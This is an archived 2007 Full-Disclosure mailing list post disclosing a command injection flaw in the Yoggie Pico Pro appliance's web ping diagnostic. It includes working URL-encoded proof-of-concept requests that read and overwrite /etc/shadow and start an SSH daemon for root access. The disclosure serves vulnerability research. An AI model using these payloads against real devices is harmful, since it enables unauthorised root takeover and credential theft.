full-disclosure - Yoggie Pico Pro Remote Code Execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 2 Jul 2007 07:00:31 -0400
From: "Cody Brocious" <cody.brocious@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Yoggie Pico Pro Remote Code Execution

This vulnerability affects the Yoggie Pico Pro (and most certainly the
Yoggie Pico, due to them being effectively identical) security
appliance.  They expose a 'ping' function in their web interface for
diagnostic purposes, which passes the IP/hostname given directly to
ping in the form of 'ping -c 10 <given ip>'.  They do basic checking
for ampersands, semicolons, and pipes, but do not check for backticks,
which allows you to execute commands as root on the device.

Proof of concept:
When run from a machine with a Yoggie Pico Pro connected,
yoggie.yoggie.com resolves to the IP of the device, so these links
will of course not work unless you have a device connected.  I didn't
brute-force the root password, so I explain how you can replace their
/etc/shadow to set the password to whatever you choose.

To access the original /etc/shadow:
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60cp%20/etc/shadow%20shadow.txt%60
https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt
Replace the root password with the password of your choosing, then
wrap the file in single quotes and urlencode the entire string.

To replace the original /etc/shadow with your own:
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60echo%20<urlencoded
shadow file>%20%3E%20/etc/shadow%60

Finally, running dropbear sshd on port 7290 (random choice -- not
blocked by their firewall rules)
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60/usr/sbin/dropbear%20-p%207290%60

Log in as root with the password chosen, and you now have complete
control over the device.  It's quite  powerful little computer, and a
whole hell of a lot of fun to play around with.  A word of advice,
though -- don't touch libc in any way, shape, or form, as there's no
reflash mechanism I've found on the device, which is why I now have a
bricked pico pro sitting on my desk ;)

- Cody Brocious

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/